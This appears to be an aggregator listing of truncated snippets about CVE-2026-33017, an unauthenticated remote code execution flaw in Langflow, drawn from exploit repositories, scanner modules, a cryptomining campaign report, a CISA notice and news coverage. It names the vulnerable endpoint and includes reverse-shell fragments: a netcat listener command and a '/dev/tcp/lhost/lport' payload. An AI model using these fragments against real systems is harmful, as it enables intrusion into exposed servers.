CVE-2026-33017

My simple bash implementation of the CVE-2026-33017. Check following link for detailed explanation: https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx Use nc -lvnp PORT to receive the shall callback...

CVE-2026-33017-PoC

This repository does not have a README...

CVE-2026-33017

CVE-2026-33017 Description CVE-2026-33017 is a simple Proof of Concept PoC demonstrating a specific vulnerability. This project is intended for educational and authorized security testing purposes only. ⚠️ WARNING: Use only in an authorized environment. Unauthorized access to computer systems is...

CVE-2026-33017-Langflow-RCE

██╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██║ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔═══██╗██╔════╝ ██║ ██║██║ ██║███████╗███████╗██║ ██║██║ ██║██║ ██║███████╗ ╚██╗ ██╔╝██║ ██║╚════██║╚════██║██║ ██║██║ ██║██║ ██║╚════██║ ╚████╔╝...

CVE-2026-33017

This repository does not have a README...

Langflow-cve-2026-33017-exploit

Langflow RCE Exploitation Framework CVE-2026-33017 · Authorized security testing for Langflow remote code execution Research & red-team tooling for validating CVE-2026-33017 against Langflow instances you are explicitly authorized to assess. Not for unauthorized use. Disclaimer This project is...

Exploit for Eval Injection in Langflow

Project-CVE-2...

Langflow Remote Code Execution

Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the /api/v1/buildpublictmp/flowid/flow endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. frozenstringliteral: true This module requires...

Exploit for Eval Injection in Langflow

CVE-2026-33017 - Langflow RCE Vulnerability xpl0ited by infr...

Langflow 1.9.0 - RCE

Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...

From Langflow to Monero: Inside CVE-2026-33017 Cryptominer

We tracked a cryptocurrency-mining campaign exploiting CVE-2026-33017, which revealed how threat actors are now scanning exposed AI application infrastructure for their next foothold...

Exploit for Cross-site Scripting in B3Log Siyuan

CVE-2026-33017 — Langflow Unauthenticated RCE Nuclei Template...

Exploit for Code Injection in Langflow

🎯 FlowBreaker CVE-2026-33017 — HTB-Style Pentest Lab...

Exploit for Code Injection in Langflow

CVE-2026-33017 - Langflow Unauthenticated RCE...

Exploit for Eval Injection in Langflow

CVE-2026-33017 - Langflow Unauthenticated RCE...

Exploit for Eval Injection in Langflow

CVE-2026-33017-Langflow-POC Proof-of-con...

📄 Langflow 1.8.1 Remote Code Execution

This Metasploit auxiliary module scans Langflow instances for CVE-2026-33017, an unauthenticated remote code execution vulnerability affecting versions 1.8.1 and below. ================================================================================================================================...

Exploit for Eval Injection in Langflow

CVE-2026-33...

CISA Adds One Known Exploited Vulnerability to Catalog

CISA has added one new vulnerability to its Known Exploited Vulnerabilities KEV Catalog, based on evidence of active exploitation. CVE-2026-33017link is external Langflow Code Injection Vulnerability This type of vulnerability is a frequent attack vector for malicious cyber actors and poses...

Critical Langflow Flaw CVE-2026-33017 Triggers Attacks within 20 Hours of Disclosure

A critical security flaw impacting Langflow has come under active exploitation within 20 hours of public disclosure, highlighting the speed at which threat actors weaponize newly published vulnerabilities. The security defect, tracked as CVE-2026-33017 CVSS score: 9.3, is a case of missing...